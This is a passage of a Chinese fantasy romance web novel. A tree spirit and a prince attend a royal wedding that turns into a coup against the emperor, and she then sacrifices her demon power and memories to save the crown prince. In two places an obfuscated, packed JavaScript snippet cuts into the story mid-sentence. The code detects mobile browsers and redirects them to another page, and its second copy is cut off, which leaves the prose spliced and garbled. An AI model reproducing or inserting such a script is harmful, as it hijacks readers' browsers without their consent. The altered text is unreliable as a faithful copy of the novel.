借着酒意,应时找到应若这里,进门前还不忘仔细整理了衣冠。他的步履缓慢但坚定,在窗边坐下后,一脸的浩然正气。 他紧紧地盯住她,直接问道:“是不是因为我和应龙很像,你才会那么痛快的答应帮我找剑,与我同行的?” 应若立时有些哭笑不得,没想到他也有这么不自信的时候。“嗯,说实话,没那么像。你是人,他是神。” 看着他逐渐抿得平直的嘴角,她忍俊不禁,连忙解释道:“哎呀,不是说你不如他,他绝不会问出你这么—可爱的问题。你就是你,独一无二。” “那你,喜欢他吗?”应时平复了心情,直视她的眼眸,终于把在心里埋藏了许久的问题问出口。 “不知道,可能喜欢过吧?但他离开太久了,我就不喜欢了。”应若侧眸看向窗外,这还是第一次有人问她这样的问题。 神的眼里,万物众生平等,没有偏私,就像这月光。但她既要众生无恙也想要一心的偏爱。至少,不是独自离开,至少,她可以和他一起想办法。 “那你还会再喜欢别人吗?”应时突然凑近,扶过应若的肩膀,确认一般地问道。 应若凝视着他近在咫尺的面容,他眼中的期待好似泛着光,比月光更温柔。 她努力地快速眨了眨眼,险些迷失在这星河般深邃浩瀚的目光中。“谁知道呢,你努力活得长一些吧,时间长了,就自有答案了。”她最终只是笑了笑,“好了,你该回去休息了,晚安。” 应若说完,趁他没防备,手指轻轻掐诀,便把应时“送”走了。 “醉酒的人,真是不好应付啊,也不知是真醉还是假醉。”她颇有些苦恼地理了理衣袖。 虽然她不知道,那时的感情是不是喜欢,但他早就已经变成了她的习惯。而她是一个一旦习惯,就很难再改变的人。 尽管她知道,那是相同的灵魂,但他应该已经算是新生了,就不再是从前的人了,不能把从前的感情寄托于现在。 现在的感情,也有,但千万年的时光总是更长久,更难忘。她始终觉得如果在一起,不是完全的只喜欢眼前的这个人,对他来说,不公平。再等一等吧,等她再看清自己一些。 应若倚在窗前,望着倒映在水中的,圆缺的月。水中月与天上月,皆是不可得。可得片刻宁静,便已足够。 而应时,回到屋内,完全是一副清醒的模样,没有丝毫醉态。他想,在那瞬间的沉默和回避之中,他已经得到答案了。隔着几道墙、几扇门、几扇窗,他们无言地望着月亮。 晨光熹微,一片桃林在风中舒展枝桠,这里便是墨悦的住处所在。 “说来也奇怪,我祖辈都诞生于小次山,只有我在昆仑这里,不过,这桃林我很是喜欢。” 墨悦的语气欢欣雀跃,说着又看向应若,“应若姐,桃木是不是也有灵,我觉得它很是最好看的树。诶,就比我们在日月岛看到的那棵灰扑扑的树好看多了,是吧?它将来也能化形吗?” 应若先是一阵气闷,虽说那不完全是她本相的模样,那也不行!又想着毕竟情人眼里出西施,也就原谅了他这无礼之言。 应若不着痕迹地看了一眼花染,却见她怔忡地看着其中一株桃树,手指掠过树枝,将桃花引到面前细细嗅闻。应若再看向墨悦期待的目光,“或许吧,但树木化形本就不易,可能要很多年。” “哎呀!”只听花染轻呼了一声,原是手指被树枝不小心划到了,一滴血悄无声息地没入了树干。 “不知为何,我看着这桃木,只觉得无比亲近和温暖。我其实也有一半妖族的血脉,我要是能做妖,想做桃木妖。”花染专注地望着桃木,不禁感慨着。 “我曾听师父说过,半人半妖血统,是可以选择做人还是做妖的。因为拥有两种血脉,两种灵力运转的方式都适用,只是转化的契机还要看机缘。” 应时说完看向应若,又似不经意地补充了一句,“我倒是觉得,日月岛上的那棵树最好看,如果要是白色的,就更好了。” 应若神情有些微妙,也并不想继续到底哪个树好看这种话题,偏偏墨悦还在说:“那这就叫各树入各眼吧,哈哈!” 应时颇为赞同地点头,嘴角噙着笑,就那样着看应若,应若只好回以一个真诚的假笑。 一行人即将离开,道别过后,萧寻在应若面前站定:“应若,我有些话想单独和你说。” “好。”应若同他走到一边。 萧寻拿出了他之前说的法器“微尘”。“这是我之前寻得的法器,相当于一个微尘空间,遇到危险时可以进入其中躲避。”说着将它放入应若手中。 “好,多谢了。”应若心知法器难得,心意更是难得。 “你,真的不能不走吗?就不能,选择我一次吗?”萧寻踌躇了一会儿,还是忍不住道。 “当初,我有必须离开的理由,现在,也一样。你知道,我一直当你是我很重要的朋友。 我也知道,那时候,你生性向往自由,也许有一部分是为了得到认可,才做了妖王,等我们回来。但后来,到现在,你一直在竭尽所能地去守护妖族,已经是值得信赖和尊敬的妖王。” “那这一次,我能等到你们回来吗?”萧寻也深知,自己身负妖族安定的重担,不能与他们同去,只希望他们能平安归来。 “能吧,我们尽量,一起回来。”应若笑了笑,“到时候,记得迎接啊。”说完,便也同他挥手道别了。 应若转身向前,行至一个拐角处,几个人影躲躲藏藏,她微微摇头,“我真的是无话可说了,你们,怎么还要偷听?就不能学学杜嘉毅,做个正人君子。” “阿若,我小师叔也在呢,你看那边。”应时也是轻笑着,指向另一侧。 “真是近墨者黑!”应若扶额。 “对,近墨悦者黑,哈哈哈!”花染推了墨悦一下,开心地跑上前,挽住了应若的手臂。 杜嘉毅此时走上前来,有些许怅然地说:“师父在南方传信给我,说是有要事要我去一趟,与你们同行的这段时日,我很珍惜。各自珍重,后会有期。” “不需要我们与你同去吗?”应时也有些不舍。 “那这件法器,留给你吧,别推辞。”应若抬手,把“微尘”放进杜嘉毅手中,“毕竟,你孤身一人。” 就此别过,杜嘉毅先行离开了。 四人正欲赶路,一只苍鹰在他们头顶上空盘旋几圈,落于应时肩头。在一众惊讶的目光中,应时淡定自若地将苍鹰绑着的纸条展开,“说是太子李承不日将迎娶正妃,希望我能回去观礼。” “总归不急于一时,回京城看看也好,你也很久没回宫里了吧。”应若说着,视线却跟着翱翔的苍鹰转动。应时见此,把苍鹰召唤下来,让它停在应若前臂。 “我们还没去过皇宫里呢,正好可以大开眼界。”花染和墨悦也很是好奇。 于是,应时写了张字条,绑在苍鹰腿上,再一振臂,它便展翅飞走了。 “不过,我们需要备些什么礼吗?”应若对现下皇宫的规矩还不甚了解。 “不必,我会都备好,到时,只管观礼便是。”应时包揽了全部。 长安城,皇宫内。 皇帝正在坤宁宫同皇后说着闲话,“算算时日,应时这孩子也该回来了吧。” 此时,四人刚刚经过承天门。应若小幅度地动了动已经有些麻木的脖颈。不过想着今日早些时候,因为她困懒得摆弄发髻,这么繁复的发髻还是应时亲手挽的,珠钗玉坠也都是他挑的,应若便也觉得还可以再忍一阵。除了沉重一些,整体还是好看的,就只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187103|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看着有些陌生,不太像平时自己的样子。连步幅都要有所控制,谨小慎微。 “应时,你也没同我们讲一讲宫规,要是触犯了哪条,怎么算?”看着严肃整齐的士兵在值守宫门,应若不无担忧。 “有我在呢,放心,没事的。”应时保证道。“今日有传信来,说皇帝在御花园见我们,我们直接去那里便是。” 御花园里,春花烂漫,彩蝶翩飞,亭台楼阁,无一不彰显着皇家风范。 几人与帝后见过礼,皇帝便开始问起应时一路所见所感,皇后也同应若几人温婉又不失亲和地闲话家常。 “说起来,应时小时候同太子最是亲近,多年不见了,一会儿你们也去东宫好好叙旧。”皇后欣慰地看着应时。 “好。太子皇兄曾经于我有救命之恩,我怎敢忘怀,多年以来,也甚是想念。”应时垂首,恭敬地应道。 待几人离开御花园,应若有些好奇他的少时之事情,“太子于你,还有救命之恩?” 应时点了头,“小时候,我母妃走得早,我年幼无依,只能被养在别的妃嫔身边,总是被欺负。有一年冬天,雪下得很大,我的屋子里炭火不够,我便得了风寒,发起了高热,身边也没什么伺候的人。如果不是太子那时经过,听到了我的呼救,我也活不下来。 后来,我就被皇后养在身边了。皇后一直希望我留在皇宫帮衬太子,但我后来还是离开了,我希望这份情,能一直存于我心底,不改变。” “这倒是。不过我也有所耳闻,坊间都说太子殿下智勇无双,心系天下,为国为民,百姓很是敬仰。”应若也点了点头。 “以后想必也会是太平盛世。”花染和墨悦默契地说。 东宫。 太子是个温文尔雅的人,他亲自招呼着应时几人落座,丝毫没有太子的架子,只当他们是好友,不掺杂其他任何东西。也许,也正是因为应时选择了远离,才能保持这份纯粹的兄弟情谊。 太子也喜好修习灵气,但奈何并无这方面的天分,便只做强身健体之用。他对妖界也很是好奇,便和应时几人询问起妖界与人间诸事,在殿中畅谈起来了。 “应若姑娘,听说树妖最为擅长治愈和守护法术,果真如此吗?”太子虚心求教。 应若没想到,太子竟然对法术这么着迷,“树妖生命力比较顽强,自然是治愈和守护的力量更强一些。” 太子继而思虑了一下,颇有些郑重地问道:“既然你们能救出椿和鲲鹏,想必也都不是等闲之辈。应若姑娘又是树妖,不知,从前是否有听过上古龙神和那位树妖大人的轶事?”墨悦正巧在喝茶,不由得咳了起来。花染也惊讶地睁圆了眼睛,忍住不去看应若的表情。 “未曾。都是些人尽皆知的事罢了。”应若深感无语,明明看起来是一本正经的端方君子,内心也有如此八卦的一面。 太子略为遗憾,“我一直很敬佩他们二位,他们的事迹我从初次参加祭礼敬拜时就一清二楚了。” 应若只好艰难地保持微笑。应时见状,适时引开话题,“皇兄,你和太子妃是如何相识的?” 太子有些不自在地拂了拂衣袖,“大概是,英雄惜英雄吧。” 应时语气悠悠地戳穿道:“其实,应该是太子妃救了皇兄吧?听说她也是位女中豪杰呢。” 殿中,时而传来欢笑声。门外的侍从也很是感慨,殿下一向严于律己,恪守礼节,很久都没有这样开怀过了。 次日黄昏时分,太子大婚。太子妃乃是当朝丞相嫡长女李卿兰,百姓夹道欢呼庆贺,一派热闹欢愉的景象,几人也在侧默默观礼。 “礼成—” 声音响起,人们也都在道贺后陆续离开。 洞房花烛,可是大喜事之一。 然而这夜,长安不宁。 12. 前朝恩怨 当夜,四人回到了应时的府邸。然而,这个夜晚,却仿佛吹响了复仇的号角。 “为何?” “成王败寇罢了!但,这是我一人所为,我家人不知情。” 红烛尚未燃尽,决绝照影。 伴随着阵阵的惊叫声、兵器相接的碰撞声、纷乱奔跑的脚步声,谁鲜血飞溅染红门扉颓然倒下,谁惊怒交加、难以置信的眼神,谁死亦不惧、义无反顾地以身殉道,又是谁刀剑银光、守卫一方。 这边的国仇家恨正在上演,皇帝的寝殿也被团团包围,有誓死守卫的将士,也有大肆进攻的魔族。魔气与灵气相撞,浩大的冲击中,他们,对抗着。 太子妃重伤太子,宜妃意图刺杀皇帝。数不清的人、妖、魔在那个晚上被鲜血与仇恨笼罩,不得出,不得入。 待应时四人得知变故,匆匆赶到,一切已尘埃落定。 宜妃与太子妃皆称自己乃是前朝皇族后人,在刺杀未果后,刎颈自尽了。 “当啷—” 那是匕首无力掉落,生命随着鲜红血线消逝的声音,无限唏嘘。 皇帝也未料到,太子妃也会参与其中,想来她之前与太子的种种,也都是早有预谋,都不过是逢场作戏罢了。而太子如今身受重伤,不省人事,太医们束手无策。一桩喜事,却落得如此结果。 因近些年魔族作乱,皇帝早有防备,在宫中布下天罗地网,杀伐大阵,将士修士暗中埋伏,意欲一举歼灭魔族。魔族虽则力量强大,却多少因为椿和鲲鹏逃脱失去了生命力的维系,后续难以为继,难敌皇宫中的围剿。 最终,护卫的将士与魔族殊死较量,皆是伤亡惨重。而魔族少主—也就是前朝太子遗孤伤重,他与魔族长老见此次复仇无望,只得带领其余魔众逃走,以待东山再起之日。 消息飞速传开,说是前朝太子遗孤留下手书问罪于皇帝,百姓不知真相如何,议论纷纷。 所谓真相,相信即为真。大街小巷里,纸张翻飞,字字泣血。 “我乃前朝皇太孙。我们如今的陛下,以杀夺位,改朝换代,却改不了真相。 皇帝曾是前朝丞相,为窃取皇位,在宫宴当晚下毒,杀害了我皇族男女老少上下近千人,却说这一切尽是为大将军所害,便诛连了大将军九族,只为掌控兵权。其余朝臣不知真相,见他主持公道,大权在握,便也只好拥立他称帝。 而只余我们几人侥幸逃脱,为人所救。那时,是魔族长老救了我们,我们便与魔族合作。而长老恰恰也是被皇帝迫害而入魔,我们共同的目标就是杀了皇帝。 我们也想过用证据堂堂正正的复仇,可是多年以来,证据早已被销毁。我们也不曾滥杀无辜,我们杀的每个人,都曾助纣为虐,是死有余辜。 我们曾为了壮大魔族囚禁了妖族两个大妖,他们是无辜的,这是我们唯一的罪,不求原宥,我们复仇后自会以死谢罪。我们想要杀了皇帝报仇雪恨,难道不对吗?他就该以死谢罪。 就因为他成了皇帝,他为百姓做了事,就能抹平了他做过的那些恶吗?只要我们还活着,就不能,永远不能。 都说成王败寇,失败者不一定是错,成功者也未必就是正义。我们就不配活吗,就不能活吗?” “若如他所说,魔族内部也并非统一,意图报仇制造宫变,和杀害林晚后制造水患的魔,并非同属一个阵营。”应时看了手书后,发现了问题所在。 “没错,这些魔为的是复仇,而不是滥杀。”应若也若有所思。 在人们讨论前皇太孙手书的时候,却不知前皇太孙已然身受重伤。他与魔族长老出逃,长老见追兵众多,便令他进入保命的法器当中。 然而当他们逃脱,回到魔族的大本营,将少主从法器中解救出来时,却大惊失色。那少主在法器中不省人事,血流不止,一根青色羽翼只差一点就贯穿了他的心脏。 不宁的夜晚过去,清晨的光依旧没能驱散阴霾。东宫之中,皇帝忧虑的叹息声传来。 太子的床榻前,国师已将自己毕生修为尽数传入太子身体,却依旧没有起色,只能维持太子的生命,却无法让他转醒。 皇帝一夜之间苍老了许多,皇后也是平添许多白发,双眼通红。“故事,我还有另外一个版本,不知道你们会相信哪一个?”皇帝疲惫地合眼,往事从另一个视角徐徐展开。 “我自幼便是太子伴读,那时已官至丞相。那天宫宴,恰逢我父亲突感风寒,我便没有参加。后来想想,父亲曾是帝师,也许父亲是知道些什么,但他什么都没有说,也许,他要我干干净净地坐上皇位。 宴席上,骠骑大将军沈榆枋言说朝中贪官污吏倍增,供给军队的粮草弹药都被克扣,戍边的将士们苦不堪言,他多番进谏却不被理会,只得出此下策,一不做二不休,推翻这个腐朽的王朝。 大将军在皇帝面前,先是杀了太子和皇太孙,又把皇亲国戚全部绑来,一一灭口,参加宫宴的朝臣也没能逃过一劫。最后,他逼迫皇帝以治国不力为名写下禅位诏书。却没成想,皇帝写了我的名字,禅位于我。大将军一怒之下,便也将皇帝一剑封喉。 这些,是大监在我赶到之时告知于我的,他已濒临死亡,将一切看在眼里,却也无力回天。 我率禁军赶到的时候,那样的场景,我此生都不愿再回忆。一切归于沉寂,悲泣亦来不及,就连死亡都是无声无息的。 是非对错,早就在鲜血中越陷越深,执迷成仇了吧。我虽不知这个自称是前朝皇太孙的人是谁,受谁指使,但皇太孙已逝,他绝不是。” “如此说来,这些人,都是被那幕后之人所控,他教养他们,让他们对自己前朝皇族的身份深信不疑,复仇是他们唯一的目的。”应时感到有些棘手,他们已然隐匿了气息,再无法追踪到了。 “可,太子何辜啊?”皇后看着太子双目紧闭的样子,心中悲痛难忍。 “我该去上朝了,处理后续事宜。”皇帝长叹一声,转身离开了,无形中身形却佝偻了许多。 “陛下,臣罪该万死!”丞相以头抢地。“卿兰并非臣亲生,是臣收养的孩子。那年她还是个孩童,臣万万没料到,会是如今的结果啊!” “罢了。” 东宫这边,四人拜别皇后,回到应时的府邸,试图寻找方法救太子,却见妖王萧寻竟等在门外。 “你们没事吧?”萧寻很是焦急地上前,视线上下仔细打量过他们,“我感知到微尘被使用,还以为是你们出了事情。还有……” “你说,微尘被使用了?”应若一惊,抬手打断萧寻。 “那杜嘉毅……”花染和墨悦立刻担忧起来。 “你的法器,能追踪到位置吗?”应时也问道。 “可以。我这儿还有一事。”萧寻继续道,“在我感知到微尘被使用时,青羽和我正在处理族中事务,那瞬间她突然似是受到了重伤,却突然间仰天大笑,之后便消散了。我不确定她的异样与此是否有关联,但我在很多年前做好法器时,曾交由她保管。她,似乎是在其中做了些手脚。” 事情变得更加扑朔迷离,“先追踪法器。”几人当即出发。 荒漠,峡谷,风沙。灰黑色的岩壁纵横交错,壁立千仞。 “这里便是法器最后出现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“刚刚伤我的,竟是我师父。我,我师父,他竟然是魔族。之前他要我前来,是想说服我也加入魔族,他还夺走了微尘,将我一直困在此地。我没想到,也想不通,为什么?”杜嘉毅有些颠倒地说着,掩面无声,痛苦却无能为力。“也许他还念着些旧情,没有将我赶尽杀绝。” “他方才来的时候还说。”杜嘉毅难以置信,又难以理解似的,“他说,魔族少主,已经死了,而那少主,原是我哥哥。可是,怎么会呢?我明明是孤儿,我不会有哥哥的,对吧?”他抓住应时的肩膀,颤抖的摇晃着,祈求地看着他,又再度转过头,面对着漆黑幽暗的洞穴深处。也许,只有无尽的黑暗,才能渗透出深入骨髓的悲哀。 再多的安慰都显得单薄,他们只有静静地陪着杜嘉毅待了小半日。 “萧寻,不必忧心,微尘已经寻到。青羽,你带她回去吧,兴许还有重来看清真相的机会。”应若把那根翎羽交给萧寻,在上面附了一丝生命力。前人的恩怨,不该由后人承担。“妖族,交给你了。” “好。我会肃清魔族,护妖界安宁。”萧寻说罢,便与众人道别。 “真假难辨,是非难定。走吧,我们先回去。”几人便踏上了回长安的路。 马车内,杜嘉毅闭目调息,脑海中总是浮现出魔气翻涌,面目不清的人还是魔气绝身亡的样子,谁也不知道,他是否有过动摇。墨悦和花染驾着马车,一时间,也因这变故而沉默。 应若和应时在前方,各自骑着马,一白一黑,比肩同行,思绪万千。总觉得,也许是突如其来的冲击,杜嘉毅,和之前端方克己的他,有哪里不太一样了。恩怨纠葛,谁也不能免俗。 世间恩怨,不总分明,背怨憎裹挟着的人已深陷其中。或因心有不甘而起,或被人利用,扭曲事实,也不无可能。 13. 心之所向 篝火噼啪作响,郊外,五人围坐在一起。 在这个夜深人静的地方,知晓了前因后果后,杜嘉毅沉默地望着跃动的火苗,回想起师父决绝又无比狠戾的眼神,还有那本应穿心而过却偏了毫厘的一剑。就算一切都是虚情,日子久了,多少也有了些真心吧,他终是接受了这残忍又无奈的现实。 “只是一点,嘉毅,别恨太久。”应时拍拍杜嘉毅的肩膀。 “仇恨,很辛苦、很折磨的,不到最后,不得解脱。很多人,恨来恨去,最恨自己。”应若宽慰着他,想到了青鸾和青羽,所有的时间都用来恨,那该是何等的痛苦无助。 “我曾经恨过我父亲,他从不在意我母亲与我,他的心里只有官位、将士、儿子。但我现在不再怪他了,每个人能选择的有限,就只能选择对他而言最重要的,我也一样。我不会再把生命浪费在怨怼上了,我有志同道合的朋友,有除魔卫道的愿景,我的生活不再是偏安一隅,而是随心而为。”花染也慢慢地说起了自己。 墨悦用地上的枝杈拨弄着火苗,零星的火焰飞溅,落在地上渐渐熄灭。他清了清喉咙,想要缓解莫名有些压抑的气氛,“我最恨的呢,其实是—不能每日吃到新鲜美味的桃子。之前买的桃子,竟然有残次品。世风日下,人心不古啊!” “好了,知道你心大,没烦恼。”花染顿时笑开,轻捶了他两下。 “不如,就在这儿,我们立个碑吧,为那些被魔族利用的人们。祭奠他们舍生忘死,以偿恩情的一生。”应若说罢,看向杜嘉毅,他重重地点头。 于是,几人刻下碑文,“无名,无怨,无仇。有人,有情,有义。”拜过后,他们便再度启程了。 晨雾迷蒙,回到长安,五人一同去看望太子。房间内,应若犹疑片刻,还是抬首道:“其实,我……” 还不待她说完,应时猛地一下拉过她的手,动作迅速力道却温柔坚定,在众人不解的目光中,就这么拉着她直直地大步走了出去。 屋外柳树下,清风徐来。应若的目光在她们交握的手上流连片刻,而后直视着他,把话说完。“我是想说,我或许可以救太子。” 应时背在身后的另一只手松了又紧,他的克制着心中的怒意,但那是对自己的无能为力而愤怒。 “怎么救?用你全部的妖力去救吗?你不能先考虑考虑自己吗?”他的手一直没有放开,应若也任他牵着,什么也没说。 “我知道,我考虑过了。也许我的不死,就是为了能够拯救重要的人或妖。”她顿了下,觑着他无波的眼神,另一只手也试探地拉了一下他的衣袖。 “我是树妖,就算没有妖心的力量,只要树心还在,就还能活,不过就是可能不会再记得从前的事。再就是妖力减少一些,这也都不是什么生死大事。以后,都能恢复的。况且,能短暂的遗忘,也好。能让我轻松一点,也说不定呢。” “不行。”应时任她拉着他的衣袖,偏开头,不去看她清凌的眼。 “当初,的确是太子救我于水火。不过我那时的境遇,也是皇后有意纵容所致。如果不是皇后的授意,太子那样尊贵的身份,怎么可能经过我所在的寝殿呢? 这些,我相信太子不知情,所作所为皆是出于好意,发自本心。所以,我记着他的恩情,不去在意皇后如何。在宫里的那些年,明枪暗箭我也帮他挡了不少,但生死有命,不必强求。”应时努力地说服应若,他不想她受伤。 “阿若,我并不亏欠他的,你更无需替我救他,这不是你该承担的。” “可是现在,太医都无计可施,只能吊着太子的一口气。既然只有我能救,若不尽全力,来日,我会后悔,你也会的。 况且,他的性命里写着天下,能继承大统的只有他了。他一人可以死,但人间不能乱,我不忍心,也不愿意看到纷争再起了。 不过你说的也没错,我们从来都不欠谁的,那就只好,让他们欠我们的吧。”应若尽量轻松地笑着。 “不行,你跟我走。你的记忆里也有我,我不许你忘了我。”应时也害怕,她会忘了他,再见时形同陌路。 “那就当,再、重新认识一次。”应若看着应时的眼,盈满的泪倔强着不肯落下,其中的心疼与不舍分毫不差地映入她心底。 她努力地眨了眨眼,拨开眼前的迷蒙,说起其他。“我自认,原本是个冷淡疏离的性子,要是我以后对你,对你们不好,我预先道个歉。你,你们会原谅我,保护我的,对吧?” 应时上前一步张开双臂,将应若环拢在怀中。“好。”他第一次,很用力也很温柔地抱紧了应若。 晶莹的泪,任它滑落,打湿在应时的肩头。她以为她已经足够坚强,偶尔深藏的脆弱和不安都已成围墙。他是否,也是同样的心情? 她也会怕,忘记重要的人,她变成另外的模样。再坚强,也都想有一个肩膀可以安放心伤。但其实,这也是一个看清自己内心的机会,让往事成为往事,只念今朝,此刻怀抱。 平复好心情,二人再次走进寝殿,应若同皇帝不着痕迹地点了点头。其实,应若虽然有心救太子,却也想过再找找其他办法,她也并不是全然的无私。只是先前,皇帝找来,以性命相求,她也只得顺势答应下来,尽快救太子,以免朝局动荡。 昨日,皇帝句句肺腑,言犹在耳,“应若姑娘,我如今年事已高,太子是要继承大统的,我以一个父亲的身份请求您,救救他,也救救这个天下。” “你怎知,我能救?”应若转而背过身去,声音平淡无波。 “千年前,龙神与树妖大人曾言明,不希望有人得知他们真容,但黄帝的侍卫中,还是有人刻画下了他们的容貌。黄帝原本是要销毁的,但后来战争无情,她们都没再看到盛世繁华。所以,黄帝感念他们的恩泽,留下了石板画像。祭礼时,历代皇帝都要秘密地再拜他们二人的画像。 所以,对于应时,我心知留不住他,我能做的也只有放手和成全。我也明白,你们要走的路,是救世的路。人族的王会带领人间与你们一道共抗魔族,也会与妖王及妖族共进退,做你们坚实的依靠。 如果我父亲当年有错,纵容了宫变,那么我来赎罪。我可以与你立下誓约,如若前朝旧人不再来犯,人间的帝王亦不会再为旧日恩怨而仇恨。冤冤相报,到我,到此为止。”皇帝说罢,一拜到底,他也知晓,应若不过是要一个许诺,为天下苍生的许诺。 “你确信我会答应,所以你有恃无恐。”应若知晓,这些年,皇帝为了人间确然是励精图治、恭俭爱民、心怀大义,她也早已决意救太子,而此时,皇帝真情流露,有誓言为证,她便也无后顾之忧了。 应若不禁想,人类真是狡猾又真挚啊,从前可以让龙神心甘情愿赴死,如今,也可以让她交出自己的妖力,到头来,她怎么就也和他一样了呢。 再看见皇帝感激的神色之中,又透出一丝为难。她释然一笑,想必还是要再劝应时一番,“不必担忧,你既能让我答应,我便也能让应时答应。” 殿内,帝后听闻应若有方法救太子,皆是无比感动欣喜,应若也不欲多言,“那么,就请诸位在门外等候吧。” 侍从、帝后、杜嘉毅、墨悦、花染都渐次走出寝殿,只余应时一人。二人相对而立,他张了张嘴却欲言又止,只好沉默着,深深地凝视着她,眼中情意深沉,他要记住她的样子,她的一颦一笑。 “我等你。”应时回身,快步离开,就像是慢一刻、慢一步,就会忍不住阻拦,就会后悔一样。 应若就这样望着他一步一步走远,他的影子被拉长,再被阻挡。吱呀一声,殿门被轻轻合上,殿外的光,斜斜地照进来,飘浮着的尘埃好似也在闪着朦胧的光。 看了片刻,她回身,走入阴影之下。这里,光被遮挡,挡住心伤,暂时的遗忘。 “后会有期。” 应若说着,干脆利落地将手附于心口,“无心生用,无物通神,一念心生。” 再断然挥手,源源不断的生机从她心口处蔓延开来,牵引至太子的身体内。 应若感受着自己心中的妖力在慢慢消失,也还好,只有一点痛,只是,没有太大的力气。 这段时日,与新朋旧友相处的个个瞬间、一幕幕笑颜,就像被一只无形的手,撕碎了那些滴滴点点,渐渐的,烟消云散。只有心中的痛和疲惫提醒着,有什么,失去了,又有什么,获得了。 待最后一丝妖力消耗殆尽,应若终是喷出一口血,支撑不住跪倒在床榻边。她勉强抬起身体,探查过榻上之人,确认已经无碍,只待醒来便可。她松了一口气,拭去血迹,盘膝调理气息。 直至不再感到 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“皇帝、皇后、还有太子在里面……” 应若眸光淡淡,波澜不惊地听着,“哦,知道了。”说着从应时手中抽出衣摆。 “原来这才是高贵冷艳的树妖大人原本的样子啊!好酷!”花染竟是愈发地激动了,双手捂嘴,脸颊泛起红晕。 “花染!”应若声音平缓却威严,心中却匪夷所思,“如今的人和妖怎的如此奇怪,我竟还能和她们同路。” “啊,应若姐姐,你记住我了!”花染满眼的兴奋与喜悦。 “我是失忆,又不是傻了。你们刚说过一遍,我记住了。”应若面上不显,心中却颇为无语。 “那能再说一遍我们的名字吗?”墨悦同样感到新奇。 应若抬眸,视线一扫,墨悦莫名地感觉到了压力,退后了半步,同花染紧挨在一起。 “应时、花染、墨悦,杜嘉毅。”应若平静地说了一遍她们的名字。 “那你,会用同我们一起吧?”应时问得庄重又迫切,他要确认,她不会离开。 迎着他执着的目光,应若不由自主地答道:“可以。” 话一出口,她有些不解地皱了下眉。她原本是想一个人走的,但看见他的神情,看见这些如此明媚又鲜活的人和妖,就这样莫名其妙应了下来。不过,一起走着看看,兴许也不错。 应时终于如释重负地笑了,又靠近她一步,从袖中取出一方手帕来。 “你、嘴角有血痕。”墨蓝色的方巾整齐地叠在掌心,被骨节分明的手递至眼前。 “多谢。”素白的手衬得墨蓝愈发幽深。 “左边一点。”在他温润的声音里,应若垂眸,轻轻擦去唇边的血迹。 离开皇宫的路上,应时头一次这样紧张。 “累吗,疼吗?”他又问。 她意外地侧首,张了张口,“还好”二字就要出口,他却自问自答了。“一定是累的,是疼的。” 未待她再言语,他指着小径边的花树说道:“你看,就这么一会儿,这一树的琼花都开了。” 他含笑望着她,先前入宫时还约定了一同赏花呢,现下也不晚。 “好美。”她也笑了。 应时凝望着她皎然的侧颜,忽而有些恍惚,好像久远的岁月悄然浮现,熟悉之感扑面而来。 是谁在说话呢? “这是什么花?”一双素白的手捧起纯白的花,浅笑嫣然。 “八朵大些的花在外环绕,似蝶舞翩跹,不如叫八蝶花吧。”一双有力的大手也停在了这株花前。 “这么……这样的名字,合适吗?依我看,叫八仙花吧!”她回眸一笑。 他好似被微光中的明媚晃了下,“呃……也好。”那声音顿了顿又道:“喜欢?” “嗯。你不喜欢吗?” “那可以带回昆仑养起来。” “还是算了,它的家在这儿。以后,想看再来就是了。” “好。”两道身影迎风而立,比肩同行。 “的确很美。”他道。洁白如玉,翩然若蝶。 那个背影,是他们吗?她们的约定,如今实现了吗? 心之所向,与你同往。 14. 西原有金 在那本从藏经阁带出来的阵法书卷中,他们找到了五行阵法。五人决定先行前往五行灵脉中金系灵气的发源之地-西原。 五行灵脉,是金木水火土五种属性灵气的发源和中心,原本灵脉之处均有守护的妖族或人族。几千年过去,灵气稀薄,不知他们现下如何了。 所谓恢复灵脉,皆因魔气滋生,灵气遭到破坏,人与妖的生活不复安宁。只有一方地界的人和妖和谐安定,灵气才能恢复,守护者也能恢复传承的意志,启动阵法。 万物有灵,人杰地灵,这是个相辅相成、互为因果的循环。 这一路上,几人如今算是有些明白了应若所谓的“冷淡”。他们谈论下一个去处、如何找寻守护者,应若都是一副无所谓的态度。 她只是望着窗外,不参与,也不搭话。除非是指名道姓地问到了她头上,她才简短地回个,“嗯”、“好”……谁都不知道她在看什么,心里在想些什么,又或是什么都没有想。 其实,他们都想多了,应若完全是因为失去妖心之力,身体没恢复,懒得动,也懒得说。而且妖力恢复需要时间,如今只剩下寥寥的修为,她有些缺乏安全感。她在思考、在学习,通过他们的对话,和路上的所见所闻,尽快地了解这个世界。 但是,她困了,那就— 睡一会吧。 她的视线落在了应时身上,终于又说出了一个完整的句子:“我要休息一下。” “好。” “好嘞,我们撤!”花染和墨悦很是愉快地溜了。 将至西原,应时在马车外,轻轻敲了敲,试图叫醒她,“应若,我们就要到西原了,下来看看吧?” 毫无回应,唯有马蹄声。 应若缩在马车里不理人,应时无奈,只好掀开帘子,亲自去叫人。见她以衣袖遮面,斜躺着不动,便轻轻拽了拽她用以遮面的袖边。 “啪嗒—” 马车外,花染和墨悦听见声响惊讶对视一眼,而后两个脑袋悄悄凑近马车。 另一边,杜嘉毅在心中默念了几遍“非礼勿视、非礼勿听”,但他的马不知为何好像挨得马车近了些。 “无知者无罪。是马儿要靠近的,不能怪我。”杜嘉毅在心里说服了自己,便也心安理得地凝神静听起来。 马车内,一根纯白柔软的枝条斜斜地自应若背后支棱出来,摇摇晃晃着轻轻拍在了应时手背上,然后翘了翘尖尖,又垂下来,趴着不动了。 